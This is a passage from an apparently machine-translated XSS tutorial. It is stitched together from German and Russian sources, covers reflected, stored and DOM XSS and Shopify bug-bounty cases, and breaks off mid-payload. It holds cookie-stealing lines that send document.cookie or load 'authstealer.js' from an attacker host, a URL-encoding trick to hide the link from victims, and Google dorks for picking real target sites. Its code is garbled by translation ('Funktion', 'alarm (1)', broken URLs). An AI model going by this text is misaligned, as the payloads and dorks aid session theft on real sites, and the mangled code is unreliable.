schreiben - viele Leute tun dies). Es gibt aber bereits viele vorgefertigte Optionen. Zum Beispiel schlage ich vor, mit Dojo und den OWASP Mutillidae II zu beginnen. Es gibt ein ähnliches Beispiel. Gehen Sie im eigenständigen Dojo zu Ihrem Browser unter: http: //localhost/mutillidae/index.php? Page \u003d add-to-your-blog.php</p> <p>Wenn einer der Benutzer eingegeben hat:</p><p>Hallo! Wie geht es Ihnen.</p><p>Dann wird die Webseite angezeigt:</p><p>Hallo! Wie geht es Ihnen.</p><p>Und wenn der Benutzer so eingibt:</p><p>Hallo! Wie geht es Ihnen.<script>alert("Pwned")</script> </p><p>Dann wird es so angezeigt:</p> <p><img src='https://i0.wp.com/helpugroup.com/wp-content/uploads/2017/06/02-6.jpg' width="100%" loading=lazy></p> <p>Browser speichern mehrere Cookies auf einer großen Anzahl von Websites. Jede Site kann nur von sich selbst gespeicherte Cookies empfangen. Zum Beispiel hat example.com einige Cookies in Ihrem Browser gespeichert. Wenn Sie eine andere Website besuchen, kann diese Website (Client- und Serverskripte) nicht auf die von example.com gespeicherten Cookies zugreifen.</p> <p>Wenn die Site example.com für XSS anfällig ist, bedeutet dies, dass wir auf die eine oder andere Weise JavaScript-Code in sie einfügen können, und dieser Code wird im Auftrag der Site example.com ausgeführt! Jene. Dieser Code erhält beispielsweise Zugriff auf die Cookies der Website example.com.</p> <p>Ich denke, jeder erinnert sich daran, dass JavaScript in den Browsern des Benutzers ausgeführt wird, d. H. Bei Vorhandensein von XSS erhält der injizierte Schadcode Zugriff auf die Daten des Benutzers, der die Website-Seite geöffnet hat.</p> <p>Der injizierte Code kann alles, was JavaScript kann, nämlich:</p> <ul><li>greift auf die Cookies der besuchten Site zu</li> <li>kann Änderungen am Erscheinungsbild der Seite vornehmen</li> <li>greift auf die Zwischenablage zu</li> <li>kann JavaScript-Programme wie Key Logger (Interceptors of Pressed Keys) einfügen</li> <li>beEF anschließen</li> </ul><p>Einfachstes Cookie-Beispiel:</p><p> <script>alert(document.cookie)</script> </p><p>Tatsächlich, <b>aufmerksam</b> Wird nur zur XSS-Erkennung verwendet. Die echte böswillige Nutzlast führt verdeckte Aktionen aus. Es kommuniziert heimlich mit dem Remote-Server des Angreifers und überträgt die gestohlenen Daten an diesen.</p> <h2>XSS-Ansichten</h2> <p>Das Wichtigste, was Sie über die XSS-Typen wissen müssen, ist, dass sie:</p> <ul><li>Gespeichert (persistent)</li> <li>Reflektiert (unbeständig)</li> </ul><p>Ein Beispiel für Konstanten:</p> <ul><li>Eine speziell gestaltete Gästebuchnachricht (Kommentar, Forumsnachricht, Profil), die von einem Angreifer eingegeben und auf dem Server gespeichert wurde, wird jedes Mal vom Server heruntergeladen, wenn Benutzer diese Seite anzeigen möchten.</li> <li>Ein Angreifer erhielt Zugriff auf Serverdaten, beispielsweise durch SQL-Injection, und injizierte schädlichen JavaScript-Code (mit Keyloggern oder mit BeEF) in die dem Benutzer angezeigten Daten.</li> </ul><p>Ein Beispiel für flüchtige:</p> <ul><li>Auf der Website gibt es eine Suche, die zusammen mit den Suchergebnissen so etwas wie "Sie haben gesucht nach: [Suchzeichenfolge]" anzeigt, während die Daten nicht richtig gefiltert werden. Da eine solche Seite nur für diejenigen angezeigt wird, die einen Link dazu haben, funktioniert der Angriff erst, wenn der Angreifer den Link an andere Site-Benutzer sendet. Anstatt einen Link an das Opfer zu senden, können Sie die Platzierung eines schädlichen Skripts auf einer neutralen Site verwenden, die vom Opfer besucht wird.</li> </ul><p>Sie unterscheiden auch (einige als eine Art flüchtiger XSS-Schwachstellen, andere sagen, dass diese Art eine Art beständiges XSS sein kann):</p> <ul><li>DOM-Modelle</li> </ul><h2><span>DOM-basierte XSS-Funktionen</span></h2> <p>Ganz einfach, wir können den Schadcode von "normalem" flüchtigem XSS sehen, wenn wir den HTML-Code öffnen. Zum Beispiel wird ein Link wie folgt gebildet:</p><p>Http://example.com/search.php?q\u003d "/\u003e<script>alert(1)</script> </p><p>Und beim Öffnen des HTML-Quellcodes sehen wir ungefähr Folgendes:</p><p> < div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >alarm (1)</ script >" /> < button type = "submit" class = "ui-button" >Finden</ button > </ form > </p><p>Und DOM XSS ändert die DOM-Struktur, die im laufenden Betrieb im Browser gebildet wird, und wir können den Schadcode nur sehen, wenn wir die gebildete DOM-Struktur anzeigen. Dies ändert den HTML-Code nicht. Nehmen wir diesen Code als Beispiel:</p><p> <!DOCTYPE html> < html > < head > < title >seite ::: DOM XSS</ title > < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > </ head > < body > < div id = "default" > Ein Fehler ist aufgetreten ...</ div > < script > Funktion OnLoad () (var foundFrag \u003d get_fragment (); return foundFrag;) Funktion get_fragment () (var r4c \u003d "(. *?)"; var results \u003d location.hash.match (". * input \u003d token (" +) r4c + ");") if (results) (document.getElementById ("default"). innerHTML \u003d ""; return (unescape (results));) else (return null;)) display_session \u003d OnLoad (); document.write ("Ihre Sitzungs-ID war:" + display_session + "< br >< br >") </ script > </ body > </ html > </p><p>Dann werden wir im Browser sehen:</p> <p><img src='https://i2.wp.com/helpugroup.com/wp-content/uploads/2017/06/04-4.jpg' width="100%" loading=lazy></p> <p>Quellcode der Seite:</p> <p><img src='https://i0.wp.com/helpugroup.com/wp-content/uploads/2017/06/05-3.jpg' width="100%" loading=lazy></p> <p>Bilden wir die Adresse wie folgt:</p><p>Http: //localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex<script>alert(1)</script>; </p><p>Die Seite sieht jetzt so aus:</p> <p><img src='https://i2.wp.com/helpugroup.com/wp-content/uploads/2017/06/06-4.jpg' width="100%" loading=lazy></p> <p>Aber schauen wir uns die HTML-Quelle an:</p> <p>Dort hat sich nichts geändert. Folgendes habe ich gesagt: Wir müssen uns die DOM-Struktur des Dokuments ansehen, um den Schadcode aufzudecken:</p> <p><img src='https://i2.wp.com/helpugroup.com/wp-content/uploads/2017/06/08-3.jpg' width="100%" loading=lazy></p> <p>Hier ist ein funktionierender Prototyp von XSS. Für einen echten Angriff benötigen wir eine komplexere Nutzlast, die unmöglich ist, da die Anwendung unmittelbar nach dem Semikolon nicht mehr liest, und so weiter <b>alarm (1); Alarm (2)</b> ist nicht mehr möglich. Dank jedoch <b>unescape ()</b> In den zurückgegebenen Daten können wir eine Nutzlast wie folgt verwenden:</p><p>Http: //localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex<script>alert(1)%3balert(2)</script>; </p><p>Wo haben wir das Symbol ersetzt? <b>; </b> zum URI-codierten Äquivalent!</p> <p>Wir können jetzt eine schädliche JavaScript-Nutzlast schreiben und einen Link erstellen, der an das Opfer gesendet werden soll, wie dies bei nicht persistenten Cross-Site-Skripten der Fall ist.</p> <h2>XSS Auditor</h2> <p>In Google Chrome (und auch in Opera, das jetzt die Google Chrome-Engine verwendet) hatte ich folgende Überraschung:</p> <blockquote><p>dom_xss.html: 30 Der XSS-Auditor lehnte es ab, ein Skript in der Warnung „http: //localhost/tests/XSS/dom_xss.html#input\u003dtoken ‹script› (1) auszuführen.</script>; ’Weil der Quellcode in der Anfrage gefunden wurde. Der Auditor wurde aktiviert, da der Server weder einen "X-XSS-Protection" - noch einen "Content-Security-Policy" -Header gesendet hat.</p> </blockquote> <p><img src='https://i0.wp.com/helpugroup.com/wp-content/uploads/2017/06/09-2.jpg' width="100%" loading=lazy></p> <p>Jene. Es gibt jetzt einen XSS-Auditor im Browser, der versucht, XSS zu verhindern. Firefox hat diese Funktionalität noch nicht, aber ich denke, es ist eine Frage der Zeit. Wenn die Implementierung in Browsern erfolgreich ist, können wir über eine erhebliche Schwierigkeit bei der Verwendung von XSS sprechen.</p> <p>Es ist hilfreich, sich daran zu erinnern, dass moderne Browser Schritte unternehmen, um die Ausnutzung von Problemen wie flüchtigem XSS und DOM-basiertem XSS zu begrenzen. Dies muss auch beim Testen von Websites mit einem Browser beachtet werden. Es kann sich herausstellen, dass die Webanwendung anfällig ist, aber das Bestätigungs-Popup wird nicht angezeigt, nur weil der Browser sie blockiert.</p> <h2><span>Beispiele für die XSS-Ausnutzung</span></h2> <p>Angreifer, die Cross-Site-Scripting-Schwachstellen ausnutzen möchten, müssen sich jeder Schwachstellenklasse anders nähern. Angriffsvektoren für jede Klasse werden hier beschrieben.</p> <p>Bei XSS-Schwachstellen können Angriffe BeEF verwenden, wodurch der Angriff von der Website auf die lokale Benutzerumgebung ausgedehnt wird.</p> <p><b>Ein Beispiel für einen flüchtigen XSS-Angriff</b></p> <p>1. Alice besucht häufig eine bestimmte Website, die Bob hostet. Auf der Website von Bob kann sich Alice mit einem Benutzernamen / Passwort anmelden und vertrauliche Daten wie Zahlungsinformationen speichern. Wenn sich ein Benutzer anmeldet, speichert der Browser Autorisierungscookies, die wie bedeutungslose Zeichen aussehen, d. H. Beide Computer (Client und Server) erinnern sich, dass sie angemeldet war.</p> <p>2. Malorie stellt fest, dass Bobs Website eine flüchtige XSS-Sicherheitslücke enthält:</p> <p>2.1 Beim Besuch der Suchseite gibt sie die Suchzeichenfolge ein und klickt auf die Schaltfläche "Senden". Wenn keine Ergebnisse gefunden werden, zeigt die Seite die eingegebene Suchzeichenfolge an, gefolgt von den Wörtern "nicht gefunden" und die URL sieht aus <b>http://bobssite.org?q\u003d ihre Suchanfrage</b></p> <p>2.2 Mit einem normalen Suchbegriff wie „ <b>hündchen</b>"Die Seite wird nur angezeigt" <b>hündchen</b> nicht gefunden "und URL http://bobssite.org?q\u003d <b>hündchen</b>, was normales Verhalten ist.</p> <p>2.3 Wenn jedoch eine abnormale Suchabfrage gefällt <b><script type=’text/javascript’>alert(‘xss’);</script> </b>:</p> <p>2.3.1 Eine Warnmeldung mit der Aufschrift "xss" wird angezeigt.</p> <p>2.3.2 Seitenanzeigen <b><script type=’text/javascript’>alert(‘xss’);</script> nicht gefunden</b> zusammen mit einer Fehlermeldung mit dem Text 'xss'.</p> <p>2.3.3 verwendbare URL <b>http://bobssite.org?q\u003d<script%20type=’text/javascript’>alert(‘xss’);</script> </b></p> <p>3. Mallory erstellt eine URL, um die Sicherheitsanfälligkeit auszunutzen:</p> <p>3.1 Sie macht die URL <b>http://bobssite.org?q\u003dpuppies<script%20src=»https://mallorysevilsite.com/authstealer.js»></script> </b>... Sie kann wählen, ob ASCII-Zeichen in ein hexadezimales Format konvertiert werden sollen, z <b>http://bobssite.org?q\u003dpuppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E</b> um zu verhindern, dass Personen die schädliche URL sofort entschlüsseln.</p> <p>3.2 Sie sendet eine E-Mail an ein ahnungsloses Mitglied von Bobs Website und sagt: "Schauen Sie sich die coolen Hunde an."</p> <p>4. Alice erhält einen Brief. Sie liebt Hunde und klickt auf den Link. Sie geht auf Bobs Website, sucht nichts, zeigt "keine Hunde gefunden" an und in der Mitte wird ein Tag mit einem Skript gestartet (es ist auf dem Bildschirm unsichtbar), lädt Mallorys Programm authstealer.js und führt es aus (löst einen XSS-Angriff aus). Alice vergisst es.</p> <p>5. Das Programm authstealer.js wird in Alices Browser so ausgeführt, als stamme es von Bobs Website. Sie schnappt sich eine Kopie von Alices Autorisierungscookies und sendet sie an Malories Server, wo Malorie sie abruft.</p> <p>7. Jetzt, wo Malorie drinnen ist, geht sie zum Zahlungsbereich der Website, schaut nach und stiehlt eine Kopie von Alices Kreditkartennummer. Dann geht sie und ändert das Passwort, d.h. jetzt kann Alice nicht einmal mehr hineingehen.</p> <p>8. Sie beschließt, den nächsten Schritt zu tun, sendet den auf diese Weise erstellten Link an Bob selbst und erhält so die Administratorrechte von Bobs Site.</p> <p><b>Permanenter XSS-Angriff</b></p> <ol><li>Malorie hat einen Account auf Bobs Website.</li> <li>Malorie bemerkt, dass Bobs Website eine anhaltende XSS-Sicherheitslücke enthält. Wenn Sie zu einem neuen Abschnitt gehen, einen Kommentar veröffentlichen, wird alles angezeigt, was darin eingegeben wurde. Wenn der Kommentartext jedoch HTML-Tags enthält, werden diese Tags unverändert angezeigt und alle Skript-Tags ausgeführt.</li> <li>Malorie liest den Artikel im Bereich "Nachrichten" und schreibt einen Kommentar im Abschnitt "Kommentare". Sie fügt den Text in den Kommentar ein:</li> <li>In dieser Geschichte mochte ich die Hunde so sehr. Sie sind so nett! <script src=»https://mallorysevilsite.com/authstealer.js»></li> <li>Wenn Alice (oder jemand anderes) die Seite mit diesem Kommentar lädt, wird Malorys Skript-Tag ausgelöst, stiehlt Alices Autorisierungs-Cookies und sendet sie zur Sammlung an Malories geheimen Server.</li> <li>Malorie kann jetzt Alices Sitzung abfangen und sich als Alice ausgeben.</li> </ol><h2><span>Suchen Sie nach Websites, die für XSS anfällig sind</span></h2> <p><b>XSS Straßen</b></p> <p>Der erste Schritt besteht darin, die Sites auszuwählen, an denen XSS-Angriffe ausgeführt werden sollen. Websites können mit Google Dorks durchsucht werden. Hier sind einige dieser Trottel, die Sie kopieren und in die Google-Suche einfügen können:</p> <ul><li>inurl: search.php? q \u003d</li> <li>inurl: .php? q \u003d</li> <li>inurl: search.php</li> <li>inurl: .php? search \u003d</li> </ul><p>Eine Liste der Websites wird vor uns geöffnet. Sie müssen die Site öffnen und Eingabefelder darauf finden, z. B. ein Feedback-Formular, ein Eingabeformular, eine Site-Suche usw.</p> <p>Ich möchte sofort darauf hinweisen, dass es fast nutzlos ist, in beliebten automatisch aktualisierten Webanwendungen nach Schwachstellen zu suchen. Ein klassisches Beispiel für eine solche Anwendung ist WordPress. In der Tat gibt es Schwachstellen in WordPress und insbesondere in seinen Plugins. Darüber hinaus gibt es viele Websites, die weder die WordPress-Engine (aufgrund der Tatsache, dass der Webmaster einige Änderungen am Quellcode vorgenommen hat) noch Plugins und Themes (normalerweise Raubkopien von Plugins und Themes) aktualisieren. Aber wenn Sie diesen Abschnitt lesen und etwas Neues daraus lernen, dann ist WordPress noch nichts für Sie ... Wir werden auf jeden Fall später darauf zurückkommen.</p> <p>Die besten Ziele sind verschiedene benutzerdefinierte Engines und Skripte.</p> <p>Sie können als Nutzlast einfügen wählen</p><p> <script>alert(1)</script> </p><p>Achten Sie darauf, in welche HTML-Tags Ihr eingebetteter Code fällt. Hier ist ein Beispiel für ein typisches Eingabefeld</p><p> < input type = "text" class = "ui-input query" name = "q" value = "kissenbezug" />< script >alarm (1)</ script >< input value = "" /> </p><p>Unsere Nutzlast wird dahin gehen, wo das Wort "Kissenbezug" jetzt ist. Jene. in Tag-Wert verwandeln <b>eingang</b>... Wir können dies vermeiden, indem wir das doppelte Anführungszeichen und dann das Tag selbst mit schließen <b>«/> </b></p> <p> "/><script>alert(1)</script> </p><h2><span>Programme zum Suchen und Scannen von XSS-Schwachstellen</span></h2> <p>Wahrscheinlich verfügen alle Webanwendungsscanner über einen integrierten XSS-Schwachstellenscanner. Dieses Thema ist nicht umfassend. Es ist besser, sich mit jedem dieser Scanner einzeln vertraut zu machen.</p> <p>Es gibt auch spezielle Tools zum Scannen nach XSS-Schwachstellen. Unter diesen kann man besonders hervorheben:</p> <ul><li>XSSer ist nicht nur ein leistungsstarker Scanner, der verschiedene Methoden zum Injizieren und Umgehen der Filterung verwenden kann, sondern auch ein automatisiertes Tool zum Auffinden von Websites, die für XSS anfällig sind (von Dorken). Kann für Websites mit gefundenen Sicherheitslücken Nutzdaten für einen echten Angriff einspeisen.</li> <li>XssPy ist auch ein ziemlich unabhängiges Tool, mit dem alle Seiten einer Site (einschließlich der Subdomains) gefunden und alle Eingabeelemente auf diesen Seiten überprüft werden können.</li> <li>BruteXSS - ein positives Merkmal dieses Tools ist die vollständige Beseitigung von Fehlalarmen.</li> </ul><h2><span>Anfällige Webanwendungen für XSS-Tests</span></h2> <p>Die meisten anfälligen Webanwendungen (mit Ausnahme einiger hochspezialisierter) enthalten Websites, die für XSS anfällig sind. Die beste Option ist, sie in der eigenständigen Dojo-Lernumgebung zu verwenden, in der viele Anwendungen zum Testen gesammelt wurden. Zum Beispiel können Ihre Fähigkeiten zur Identifizierung und Bedienung von XSS geschult werden in folgenden Bereichen:</p> <p><b>Verdammt anfällige Web App (DVWA):</b></p> <ul><li>http: // localhost / dvwa / verwundbarkeit / xss_r / (flüchtiges XSS)</li> <li>http: // localhost / dvwa / Vulnerabilities / xss_s / (gespeichertes XSS)</li> </ul><p><img src='https://i0.wp.com/helpugroup.com/wp-content/uploads/2017/06/201.jpg' width="100%" loading=lazy></p> <p><b>Mutillidae / NOWASP (viele sehr unterschiedliche XSS-Variationen)</b></p> <ul><li>http: // localhost / mutillidae /</li> </ul><p><img src='https://i2.wp.com/helpugroup.com/wp-content/uploads/2017/06/202.jpg' width="100%" loading=lazy></p> <p>Cross Site Scripting (kurz XSS) ist eine weit verbreitete Sicherheitsanfälligkeit, die viele Webanwendungen betrifft. Es ermöglicht einem Angreifer, schädlichen Code so in eine Website einzufügen, dass der Browser des Benutzers, der die Website besucht, den Code ausführt.</p> <p>Das Ausnutzen einer solchen Sicherheitsanfälligkeit erfordert normalerweise eine gewisse Interaktion mit dem Benutzer: Entweder wird er mithilfe von Social Engineering auf eine infizierte Site gelockt, oder er wartet einfach darauf, dass er die Site selbst besucht. Daher nehmen Entwickler XSS-Schwachstellen häufig nicht ernst.</p> <p>Wenn sie jedoch nicht angesprochen werden, können sie eine ernsthafte Sicherheitsbedrohung darstellen.</p> <p>Stellen wir uns vor, wir befinden uns im WordPress-Admin-Bereich und fügen neue Inhalte hinzu. Wenn wir hierfür ein für XSS anfälliges Plugin verwenden, kann dies den Browser dazu zwingen, einen neuen Administrator zu erstellen, den Inhalt zu ändern und andere böswillige Aktionen auszuführen. Durch Cross-Site-Scripting hat ein Angreifer heutzutage fast die vollständige Kontrolle über die wichtigste Software - den Browser.</p> <h2>XSS: Sicherheitsanfälligkeit bei Injektionen</h2> <p>Jede Website oder Anwendung verfügt über mehrere Einstiegspunkte - Formularfelder bis zur URL selbst. Das einfachste Beispiel für die Dateneingabe ist die Eingabe eines Benutzernamens und eines Kennworts in ein Formular:</p> <p><img src='https://i1.wp.com/info-business.pro/wp-content/uploads/2017/01/screen-shot.png' align="center" width="100%" loading=lazy></p> <p>Unser Name wird für zukünftige Interaktionen mit uns in der Datenbank der Site gespeichert. Als Sie sich auf einer Website angemeldet haben, haben Sie sicherlich eine persönliche Begrüßung im Stil von "Willkommen, Ilya" gesehen.</p> <p>Zu diesem Zweck werden Benutzernamen in der Datenbank gespeichert.</p> <p>Eine Injektion ist eine Prozedur, bei der anstelle eines Namens oder Kennworts eine spezielle Zeichenfolge eingegeben wird, wodurch der Server oder Browser gezwungen wird, auf eine bestimmte Weise zu reagieren, die der Angreifer benötigt.</p> <p>Cross-Site-Scripting bezieht sich auf eine Injektion, die Code einfügt, der im Namen einer Website Aktionen im Browser ausführt. Dies kann sowohl mit der Benachrichtigung des Benutzers als auch im Hintergrund ohne sein Wissen geschehen. <br><br><img src='https://i0.wp.com/info-business.pro/wp-content/uploads/2017/01/xss-example-flow-diagram1.png' align="center" width="100%" loading=lazy></p> <h2>Traditionelle XSS-Angriffe:</h2> <h4>Reflektiert (unbeständig).</h4> <p>Ein reflektierter XSS-Angriff wird ausgelöst, wenn ein Benutzer auf einen speziell vorbereiteten Link klickt.</p> <p>Diese Sicherheitsanfälligkeiten treten auf, wenn von einem Webclient bereitgestellte Daten, meist in HTTP-Anforderungsparametern oder in HTML-Form, direkt von serverseitigen Skripten ausgeführt werden, um eine Ergebnisseite für diesen Client ohne ordnungsgemäße Verarbeitung zu analysieren und anzuzeigen.</p> <h4>Gespeichert (persistent).</h4> <p>Gespeichertes XSS ist möglich, wenn ein Angreifer bei jedem Zugriff auf die Originalseite schädlichen Code in den Server einfügen kann, der im Browser ausgeführt wird. Ein klassisches Beispiel für diese Sicherheitsanfälligkeit sind Foren, in denen HTML-Kommentare zulässig sind.</p> <h2>Sicherheitslücken durch clientseitigen Code (JavaScript, Visual Basic, Flash usw.):</h2> <h3>Auch als DOM-Modelle bekannt:</h3> <h4>Reflektiert (unbeständig).</h4> <p>Wie auf der Serverseite ist der Angriff nur in diesem Fall möglich, da der Code vom Browser verarbeitet wird.</p> <h4>Gespeichert (persistent).</h4> <p>Ähnlich wie beim gespeicherten XSS auf der Serverseite wird nur in diesem Fall die schädliche Komponente auf der Clientseite mithilfe des Browserspeichers gespeichert.</p> <h2>Beispiele für XSS-Schwachstellen.</h2> <p>Interessanterweise erschrecken sie uns in den meisten Fällen, in denen diese Sicherheitsanfälligkeit beschrieben wird, mit dem folgenden Code:</p><p>Http://www.site.com/page.php?var\u003d<script>alert("xss");</script> </p><p>Es gibt zwei Arten von XSS-Schwachstellen - passive und aktive.</p> <p><i>Aktive Sicherheitslücke</i> gefährlicher, da der Angreifer das Opfer nicht über einen speziellen Link locken muss, muss er nur den Code in die Datenbank oder eine Datei auf dem Server einfügen. Somit werden alle Site-Besucher automatisch Opfer. Es kann beispielsweise mit SQL Injection integriert werden. Daher sollten Sie den in der Datenbank gespeicherten Daten nicht vertrauen, auch wenn sie beim Einfügen verarbeitet wurden.</p> <p>Beispiel <i>passive Verwundbarkeit</i> finden Sie ganz am Anfang des Artikels. Hier wird bereits Social Engineering benötigt, z. B. ein wichtiger Brief der Site-Administration mit der Aufforderung, die Einstellungen Ihres Kontos nach dem Wiederherstellen aus einem Backup zu überprüfen. Dementsprechend müssen Sie die Adresse des Opfers kennen oder einfach ein Spam-Mailing oder einen Post in einem Forum arrangieren und auch nicht die Tatsache, dass die Opfer naiv sind und auf Ihren Link klicken.</p> <p>Darüber hinaus können sowohl POST- als auch GET-Parameter einer passiven Sicherheitsanfälligkeit unterliegen. Bei POST-Parametern müssen Sie natürlich Tricks anwenden. Zum Beispiel Weiterleiten von der Website des Angreifers.</p><p> <form method="post" action="http://site.com/page.php"> </p><p><input type="hidden" name="var" value="\u003c# - NOTRANS34 - #\u003e"></p> <p><script type="text/javascript"> document.getElementsByTagName("form").submit(); </script></p> <p>Daher ist die GET-Sicherheitsanfälligkeit seitdem etwas gefährlicher Für das Opfer ist es einfacher, die falsche Domäne als den optionalen Parameter zu erkennen (obwohl die URL insgesamt codiert werden kann).</p> <h3>Cookies stehlen</h3> <p>Dies ist das am häufigsten genannte Beispiel für einen XSS-Angriff. In Cookies speichern Websites manchmal wertvolle Informationen (manchmal sogar den Benutzernamen und das Kennwort (oder den Hash)). Am gefährlichsten ist jedoch der Diebstahl einer aktiven Sitzung. Vergessen Sie also nicht, auf den Websites auf den Link "Beenden" zu klicken, selbst wenn es sich um einen Heimcomputer handelt. Glücklicherweise ist bei den meisten Ressourcen die Sitzungslebensdauer begrenzt.</p><p>Var іmg \u003d neues Bild (); іmg.srс \u003d "http: //site/xss.php?" + document.cookie;</p><p>Aus diesem Grund haben wir Domain-Einschränkungen für XMLHttpRequest eingeführt, aber ein Angreifer hat keine Angst, da dies der Fall ist <iframe>, <img>, <script>, background:url(); и т.п.</p> <h3>Кража данных из форм</h3> <p>Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.</p> <p>Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.</p> <h3>DDoS-атака (распределенная атака типа «отказ в обслуживании»)</h3> <p>XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.<br> Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:</p><p> <img src='https://i1.wp.com/site.com/' loading=lazy> </p><h2>В чем опасность XSS?</h2> <p>Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.</p> <p>Об этом мы поговорим в следующей части статьи, посвященной XSS.</p> <p>Межсайтовый скриптинг, или Cross site scripting, или XSS, предполагает наличие сайта, подключающего непредусмотренный код Javascript, который, в свою очередь, передается пользователям, исполняющим этот код в своих браузерах. Безобидный пример XSS (именно такой вы должны использовать!) выглядит так:</p> <p>alert(‘XSS’);</p> <p>Это создаст вызовет функцию Javascript alert и создаст простое (и безобидное) окошко с буквами XSS. В предыдущих версиях книги я рекомендовал вам использовать этот пример при написании отчетов. Это было так, пока один чрезвычайно успешный хакер не сказал мне, что это был “ужасный пример”, объяснив, что получатель отчета об уязвимости может не понять опасность проблемы и из-за безобидности примера выплатить небольшое вознаграждение.</p> <p>Таким образом, используйте этот пример для обнаружения XSS-уязвимости, но при составлении отчета подумайте о потенциальном вреде, который может нанести уязвимость и объясните его. Под этим я не подразумеваю рассказ компании о том, что же такое XSS, но предлагаю объяснить, чего вы можете добиться, используя уязвимость и как конкретно это могло отразиться на их сайте.</p> <p>Существует три различных вида XSS, о которых вы могли слышать при исследовании и написании отчетов:</p> <ul><li>Reflective XSS: эти атаки не сохраняются на сайте, что означает создание и выполнение XSS в одном запросе и ответе.</li> <li>Stored XSS: эти атаки сохраняются на сайте и зачастую более опасны. Они сохраняются на сервере и выполняются на “нормальных” страницах ничего не подозревающими пользователями.</li> <li>Self XSS: эти атаки также не сохраняются на сайте и обычно используются как часть обмана человека с целью запуска XSS им самим.Когда вы ищете уязвимости, вы обнаружите, что компании зачастую не заботятся об устранении Self XSS, они беспокоятся только о тех случаях, когда вред их пользователям может быть нанесен не ими самими, а кем-либо еще, как в случае с Reflective и Stored XSS. Однако, это не значит, что вы не должны искать Self XSS.</li> </ul><p>Если вы нашли ситуацию, в которой Self XSS может быть выполнен, но не сохранен, подумайте о том, как может быть использована эта уязвимость, сможете ли вы использовать её в комбинации с чем-либо, чтобы она уже не была Self XSS?</p> <p>Один из самых известных примеров использования XSS - MySpace Samy Work, выполненный Сами Камкаром. В октябре 2005 Сами использовал уязвимость stored XSS на MySpace, что позволило ему загрузить код Javascript, который выполнялся каждый раз, когда кто-нибудь посещал его страницу MySpace, добавляя посетителя страницы в друзья профиля Сами. Более того, код также копировал себя на страницы новых друзей Сами таким образом, чтобы профили новых его друзей обновлялись со следующим текстом: “but most of all, samy is my hero”.</p> <p>Хотя пример Сами был относительно безобидным, использование XSS позволяет красть логины, пароли, банковскую информацию, и так далее. Несмотря на потенциальный вред, исправление XSS-уязвимостей, как правило, не является сложным и требует от разработчиков просто экранировать пользовательский ввод (прямо как в HTML-инъекции) при его отображении. Хотя, некоторые сайты так же убирают потенциально вредоносные символы, когда хакер их отправляет.</p> <h3><span>1. Распродажа Shopify </span></h3> <p><b>Сложность: </b> Низкая<br><b>Url: </b> wholesale.shopify.com<br><b>Ссылка на отчет: </b> https://hackerone.com/reports/10629326 Дата отчета: 21 декабря 2015<br><b>Выплаченное вознаграждение: </b> $500<br><b>Описание: </b></p> <p>Сайт распродажи Shopify27 является простой страницей с прямым призывом к действию - введите название товара и нажмите “Find Products”. Вот скриншот:</p> <br><img src='https://i2.wp.com/cryptoworld.su/wp-content/uploads/2016/11/5ddb8743022bec718aae541fc75d3ebd.png' width="100%" loading=lazy> Скриншот сайта распродаж wholesale <p>XSS-уязвимость здесь была самой простой, какую только можно найти - текст, введенный в поисковую строку не был экранирован, так что исполнялся любой введенный Javascript. Вот отправленный текст из описания уязвимости: test’;alert(‘XSS’);’</p> <p>Причина того, что это сработало, в том, что Shopify принимал пользовательский ввод, выполнял поисковый запрос и при отсутствии результатов, печатал сообщение, сообщающее об отсутствии результатов поиска по введенному запросу, показывая на странице не экранированный пользовательский ввод. В результате, отправленный Javascript рендерился на странице и браузеры интерпретировали его как исполняемый Javascript.</p> <h3>Выводы </h3> <p>Тестируйте все, уделяйте особое внимание ситуациям, где введенный текст рендерится на странице. Проверяйте, можете ли вы включить в ввод HTML или Javascript, и смотрите, как сайт обрабатывает их. Так же пробуйте закодировать ввод подобно тому, как описано в главе, посвященной HTML-инъекциям.</p> <p>XSS-уязвимости не должны быть сложными или запутанными. Эта уязвимость была самой простой, какую можно представить - простое поле для ввода текста, которое не обрабатывает пользовательский ввод. И она была обнаружена 21 декабря 2015, и принесла хакеру $500! Все, что потребовалось - хакерское мышление.</p> <h3><span>2. Корзина подарочных карт Shopify </span></h3> <p><b>Сложность: </b> Низкая<br><b>Url: </b> hardware.shopify.com/cart<br><b>Ссылка на отчет: </b> https://hackerone.com/reports/9508928 Дата отчета: 21 октября 2015<br><b>Выплаченное вознаграждение: </b> $500<br><b>Описание: </b></p> <p>Сайт магазина подарочных карт Shopify29 позволяет пользователям создавать собственное оформление для подарочных карт с помощью HTML-формы, включающей в себя окошко загрузки файла, несколько строк для ввода текста деталей, и так далее. Вот скриншот:</p> <br><img src='https://i1.wp.com/cryptoworld.su/wp-content/uploads/2016/11/9918de0af2718d46ad92c4b916ae68ac.png' width="100%" loading=lazy> Скриншот формы магазина подарочных карт Shopify <p>XSS-уязвимость здесь срабатывала, когда в поле формы, предназначенное для названия изображения, вводили Javascript. Это довольно легко сделать, используя HTML прокси, о которых мы поговорим позднеев главе “Инструменты”. Итак, оригинальная отправка формы включала:</p> <p>Content-Disposition: form-data; name=”properties”</p> <table class="crayon-table"><tr class="crayon-row"><td class="crayon-nums " data-settings="hide"> </td> <td class="crayon-code"><p>Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file ] ”</p> </td> </tr></table><br> Её можно было перехватить и изменить на:<br><p>Content-Disposition: form-data; name=”properties”;</p> <table class="crayon-table"><tr class="crayon-row"><td class="crayon-nums " data-settings="hide"> </td> <td class="crayon-code"><p>Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file < img src = ’test 